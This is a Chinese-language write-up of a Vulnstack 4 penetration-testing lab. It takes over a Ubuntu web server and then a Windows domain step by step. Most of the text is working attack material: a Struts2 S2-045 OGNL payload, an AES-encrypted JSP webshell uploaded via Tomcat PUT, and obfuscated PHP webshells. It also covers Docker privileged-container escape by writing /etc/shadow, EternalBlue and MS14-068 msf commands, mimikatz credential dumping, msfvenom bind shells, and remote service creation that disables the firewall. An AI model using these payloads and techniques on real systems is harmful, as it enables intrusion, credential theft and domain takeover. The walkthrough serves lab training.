环境搭建
机器密码
web(Ubuntu): ubuntu:ubuntu
域成员账号: douser:Dotest123
域管账号: administrator:Test2022
这里域管密码我改了,因为原来的密码过期了,后面mimikatz抓不到密码
需要添加一张192.168.183.0/24网段的内网网卡
若是kali用的Nat模式这里不要勾选“将主机虚拟适配器连接到此网络”,若是桥接模式则勾选
ubuntu这台web服务器利用docker开启web服务
1 2 3 4 5 6 7 8 9 10 # 启动docke容器 cd /home/ubuntu/Desktop/vulhub/struts2/s2-045 sudo docker-compose up -d cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017 -12615 /sudo docker-compose up -d cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018 -12613 /sudo docker-compose up -d # 查看运行的docker容器 sudo docker ps -a
win7总是自动挂起
进入控制面板 → 硬件和声音 → 更改计算机休眠时间 (改为从不休眠)
拓扑图
打靶 老样子先用nmap对192.168.184.0/24网段进行端口扫描nmap -sV 192.168.184.0/24
在192.168.184.139这台主机发现三个web服务
接下来来对这三个服务一次访问并通过这三个web服务不同路径获取该外网主机权限
外网打点 S2-045 1 2 3 4 5 6 7 8 9 10 11 12 13 14 # EXP抓上传的包,修改Content-Type 的值 POST / HTTP/1 .1 Host: 192.168.184.139:2001 User -Agent : Mozilla /5.0 (Windows NT 10.0; Win64 ; x64 ; rv :100.0) Gecko /20100101 Firefox /100.0Accept : text /html ,application /xhtml +xml ,application /xml ;q =0.9,image /avif ,image /webp ,*/*;q =0.8Accept -Language : zh -CN ,zh ;q =0.8,zh -TW ;q =0.7,zh -HK ;q =0.5,en -US ;q =0.3,en ;q =0.2Accept -Encoding : gzip , deflate Content -Type : "%{(#nike ='multipart /form -data ').(#dm =@ognl.OgnlContext @DEFAULT_MEMBER_ACCESS ).(#_memberAccess ?(#_memberAccess =#dm ):((#container =#context ['com.opensymphony.xwork2.ActionContext.container ']).(#ognlUtil =#container.getInstance (@com.opensymphony.xwork2.ognl.OgnlUtil @class )).(#ognlUtil.getExcludedPackageNames ().clear ()).(#ognlUtil.getExcludedClasses ().clear ()).(#context.setMemberAccess (#dm )))).(#cmd ='whoami ').(#iswin =(@java.lang.System @getProperty ('os.name ').toLowerCase ().contains ('win '))).(#cmds =(#iswin ?{'cmd.exe ','/c ',#cmd }:{'/bin /bash ','-c ',#cmd })).(#p =new java.lang.ProcessBuilder (#cmds )).(#p.redirectErrorStream (true )).(#process =#p.start ()).(#ros =(@org.apache.struts2.ServletActionContext @getResponse ().getOutputStream ())).(@org.apache.commons.io.IOUtils @copy (#process.getInputStream (),#ros )).(#ros.flush ())}"Content -Length : 0Origin : http ://192.168.184.139:2001Connection : close Referer : http ://192.168.184.139:2001/doUpload.action Cookie : JSESSIONID =1d6q15kddtb1z136edkhjwibnl ; phpMyAdmin =4faf82614b1631c025eb550defea0d14 ; pma_lang =zh_CN Upgrade -Insecure -Requests : 1
原理 留坑
tomcat PUT上传(CVE-2017-12615) 1 2 3 4 5 6 7 8 9 10 11 # EXP PUT /tomcat.jsp/ HTTP/1 .1 Host: your -ip :8080 Accept : */*Accept -Language : en User -Agent : Mozilla /5.0 (compatible ; MSIE 9.0; Windows NT 6.1; Win64 ; x64 ; Trident /5.0)Connection : close Content -Type : application /x -www -form -urlencoded Content -Length : 572<%@page import ="java.util .*,javax.crypto .*,javax.crypto.spec .*"%><%!class U extends ClassLoader {U (ClassLoader c ){super (c );}public Class g (byte []b ){return super.defineClass (b ,0,b.length );}}%><%if (request.getMethod ().equals ("POST ")){String k ="e45e329feb5d925b ";/*åÆ¥:Þ¥Æ32Mmd5 <M16M ؤޥÆrebeyond */session.putValue ("u ",k );Cipher c =Cipher.getInstance ("AES ");c.init (2,new SecretKeySpec (k.getBytes (),"AES "));new U (this.getClass ().getClassLoader ()).g (c.doFinal (new sun.misc.BASE64Decoder ().decodeBuffer (request.getReader ().readLine ()))).newInstance ().equals (pageContext );}%>
原理 留坑
phpmyadmin文件包含(CVE-2018-12613) 1 2 # POC http://192.168.184.139:2003//index.php ?target =db_sql.php %253f /../../../../../../../../etc /passwd
1 2 3 4 5 # EXP # 在http://192 .168 .184 .139 :2003 /server_sql.php页面写入SELECT "<?=system('whoami');?>" # 会保存到/tmp/sess_[Cookie中phpMyadmin的值] # Payload如下 http://192.168.184.139:2003/index.php ?target =db_sql.php %253f /../../../../../../../tmp /sess_2b513185c9f040cae084bc2d6b5f79a9
上面勉强用system()函数命令执行成功,但我还是想让蚁剑能连上,于是有了接下来的一番折腾
由于我最开始尝试直接传<?php eval($_POST[cmd]);?>
,但并没有成功连上蚁剑,怀疑可能是被杀了吧
接着尝试<?php assert($_POST[cmd]);?>
,这回直接报错
在查了网上资料后结论是,PHP7.0及之前的版本都可以执行,但是之后的版本就不允许 在assert()函数中传入可变字符串 了
但我看到一篇文章记一次Vulnstack靶场内网渗透(二) - FreeBuf网络安全行业门户 ,这个作者就是用的assert成功连上蚁剑的,他用的免杀马如下
1 <?php $p = array ('f' =>'a' ,'pffff' =>'s' ,'e' =>'fffff' ,'lfaaaa' =>'r' ,'nnnnn' =>'t' );$a = array_keys($p );$_ =$p ['pffff' ].$p ['pffff' ].$a [2 ];$_ = 'a' .$_ .'rt' ;$_ (base64_decode($_REQUEST ['whoami' ]));?>
我就纳闷他是怎么成功的,表示很不理解,现在只能把锅甩给docker环境有问题了
并且我还在本地测了一下,用它的马我也没成功,但是改了一下把base64_decode删了,在蚁剑编码器选择base64就能连,我就觉得更加玄学了,并且我用我改的去测靶机还是没有成功,要哭辣
这是这位作者的免杀给了我思路,之前eval没有成功,我能不能也像他一样做点混淆来绕过被杀
然而尝试过后并不可行,原因是eval()并不是函数,它是一个语言构造器,不能被可变函数调用 ,所以打咩
而且我还查到,assert() is a language construct in PHP 7 ,大写的一个G
在本地测试总结下来就是:eval()不能用可变函数调用,php7.1之后assert()也不能用可变函数调用,并且assert()7.1之后也不能用作一句话,但实际情况还是测一下万一能用
但这里还有一个奇怪的点,记录一下
我在本地测试的时候,用的是PHP7.3.9,虽然直接使用assert(),会报不能用可变字符串的错但是能连上蚁剑 (蚁剑编码器勾选base64)
而且在浏览器上测都不用base64就能执行
可以看到有报错,但是能执行太怪了,我已经晕了
原理 https://www.freebuf.com/articles/web/278808.html
这里有个疑问,上面链接的文章中说php会将前面的db_sql.php?当成目录 ,但我在本地测并没有成功,不知原因
逃逸docker容器–privileged特权模式
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备 ,并可以执行mount命令进行挂载。
当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部 ,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。
这里查看docker启动的配置文件.yml发现只有tomcat这个容器是特权模式启动起来的
其实通过看ls /dev
也可以看出端倪,明显特权模式的设备更多
所以接下来的操作都是基于tomcat这个docker容器完成
姿势1:添加用户–来自白日梦组长
通过修改/etc/passwd和/etc/shadow文件
/dev/sd[a-z]:SCSI设备
在根目录下创建一个目录名为hacker的文件夹,并将/dev/sda1挂载到该目录下,这是/hacker相当于就是物理主机的根目录了
1 2 mkdir /hacker mount /dev/sda1 /hacker
(插一句,这里提权不能直接添加root用户,因为root用户没有远程登录权限,我们现在只是有对文件操作的权限,并不能重启ssh服务来修改配置,所以下面添加的是一个普通用户)
PermitRootLogin 配置项都有哪些配置参数?
yes
no
without-password:root可以登录,但是不允许通过密码ssh登陆
forced-commands-only:可以登录,但是登陆后不能进入交互,而是执行指定的命令后自动退出
1 2 3 4 5 6 7 8 9 10 useradd -m hack passwd hack echo 'hack:x:1002:1002::/home/hack:/bin/sh' >> /hacker/etc/passwdecho 'hack:$6$sZJ3nupD0kfMhAN5$rQ36pINAUIDIE7HCvbWOBLhdtDL5M7D5dw2Af5saRzTbI0PHFBlc2DyDjQPH1880gpDr4VrHh526hxigF5Ksk.:19190:0:99999:7:::' >> /hacker/etc/shadowssh hack@192.168.184.139
这里还只是普通用户权限
直接使用sudo su root
进行提权会提示用户不在sudoers file中
我们可以回到tomcat的shell里去手动添加
再次执行sudo su root
,提权成功
这里觉得白日梦组长的姿势太帅了,学到了很多
姿势2:ssh密钥利用
前提:目标已经开启ssh密钥登陆功能,因为虽然我们能修改/etc/ssh/sshd_config
1 2 RSAAuthentication yes PubkeyAuthentication yes
但是没有权限重启ssh服务
挂载就不赘述了,同姿势1
这里查看配置文件/etc/ssh/sshd_config,开启密钥登陆,故可行
制作密钥对
首先在kali上制作密钥对。首先用密码登录到你打算使用密钥登录的账户,然后执行以下命令:
在目标上安装公钥
首先利用冰蝎将生成的公钥id_rsa.pub
上传到目标/hacker/home/ubuntu/.ssh/
目录,然后执行如下命令
1 cat id_rsa.pub >> authorized_keys
这里还需要对一些权限进行修改
1 2 chmod 600 authorized_keys chmod 700 /hacker/home/ubuntu/.ssh
ssh密钥登录
1 ssh -i /root/.ssh/id_rsa ubuntu@192.168.184.139
但是不知道为什么我试了好多次都没有成功,我甚至重新把这个ubuntu装了一遍还是不行,离谱
攻入内网 前面已经拿下了Ubuntu这台服务器,查看网卡信息
看到有192.168.183.0/24内网网段
利用scp
将fscan传到Ubuntu上,利用fscan对内网进行漏洞探针
1 2 3 4 5 6 7 scp /fscan hack@192.168.184.139:/tmp chmod +x /tmp/fscan /tmp/fscan -h 192.168.183.0/24
fscan扫描结果如下
192.168.183.132这台windows7存在永恒之蓝,直接利用msf开打
因为是内网主机,所以这里需要我们正向去打
首先利用ssh在kali本地的1080端口开启一个动态代理
1 2 ssh -CfNg -D 1080 hack@192.168.184.139
之后利用msf去打,这里有两点要注意,一是要设置正向payload,二是要设置一个全局变量proxies
1 2 3 4 5 6 search eternalblue use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/bind_tcp # 正向连接的payloadset rhost 192 .168 .183 .132 setg proxies socks5:127 .0 .0 .1 :1080 # setg是设置全局变量的意思,这里设置代理才能访问到内网主机 run
获取到win7的shell,并且获取到system权限
这里拿到shell去翻桌面看看时,发现有MS14-068.exe,靶场作者已经明示让我用这个洞去打与空了
这里其实还可以通过systeminfo
命令看打了哪些补丁来看存在什么漏洞
好,明确了目标,用MS14-068来打域控,这时还差域用户名,域名,域用户sid,域控地址以及密码
1 2 3 4 # 这里域用户名,域名,域控地址都可以很快得到 域用户名:douser 域名:demo.com 域控地址:192 .168 .183 .130
要获得sid需要切换到域用户权限,获得密码要借助mimikatz(靶机上本来就有一个)
1 2 3 # 没切换用户前,当前为system,看不到域用户的sid whoami /all wmic useraccount get name,sid
这里就需要窃取域用户的令牌,降权到域用户身份,才能读到域用户sid
1 2 3 # msf的meterpreter ps steal_token 2552
得到demo\douser用户的sidS-1-5-21-979886063-1111900045-1414766810-1107
然后我们在meterpreter处使用命令rev2self
移除令牌,回到system权限,用mimikatz读取密码
此处有个坑,我用ms17_010获得的system权限在运行mimikatz的时候回报错:
查找网上wp说模拟一个目标机上的system的令牌就可以,但我也没有成功
1 2 load Incognitoimpersonate_token "NT AUTHORITY\SYSTEM"
最后看白日梦组长的视频,使用msf中meterpreter的kiwi模块
得到douser的密码Dotest123
接下来就利用MS14-068来生成票据
1 ms14-068 -u douser@demo.com -p Dotest123 -s S-1 -5 -21 -979886063 -1111900045 -1414766810 -1107 -d 192 .168 .183 .130
然后利用mimikatz的kerberos::ptc进行票据传递
1 2 mimikatz kerberos::ptc TGT_douser @demo.com.ccache
然后就拿下域控了
1 2 # 注意这里必须用主机名称才能访问,用ip不得行 dir \\WIN-ENS2VR5TR3N\c$
进一步攻击域控获取域控密码等
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 # win7 ## 用net use和域控建立连接 net use \\WIN-ENS2VR5TR3N# kali ## kali创建正向连接木马(默认开启4444 监听) msfvenom -p windows/meterpreter/bind_tcp -f exe -o bind.exe ## 利用msf的meterpreter的upload将bind.exe上传到win7 upload /bind.exe c:\\users\\douser\\desktop\\bind.exe ## msf开启监听(另外启一个) set payload windows/meterpreter/bind_tcpset rhost 192 .168 .183 .130 set lport 4444 setg proxies socks5:127 .0 .0 .1 :1080 set AutoRunScript post/windows/manage/migrate # 自动迁移进程#win7 ## 然后通过win7将bind.exe传到域控上(WIN-ENS2VR5TR3N) copy c:\Users\douser\Desktop\bind.exe \\WIN-ENS2VR5TR3N\c$## 通过远程在域控上面设置好计划任务(但是提示Access is denied) schtasks /create /tn "test" /tr C:\windows\system32\bind.exe /sc MINUTE /S 192 .168 .183 .130 ## 我们用sc服务来远程执行,先关闭防火墙 sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \\WIN-ENS2VR5TR3N start unablefirewall ## 创建服务执行msf马 sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe" sc \\WIN-ENS2VR5TR3N start bindshell
运行完木马后msf收到shell
接下来抓取密码
通过meterpreter的upload将mimikatz传上去
1 2 3 4 5 upload /mimikatz.exe c:\mimikatz.exe cd c:\mimikatz privilege::debug sekurlsa ::logonpasswords
得到明文密码:Test2022
有了明文密码,接下来登录远程桌面
1 2 # 利用meterpreter把远程桌面开启 run post/windows/manage/enable_rdp
然后上代理远程登陆
1 proxychains4 rdesktop 192 .168 .183 .130
到此结束
参考 [网络安全/域渗透]内网安全入门靶场 vulnstack4攻略
记一次Vulnstack靶场内网渗透(二)
一句话木马踩坑记
Linux /etc/passwd内容解释
Linux /etc/shadow(影子文件)内容解析
设置 SSH 通过密钥登录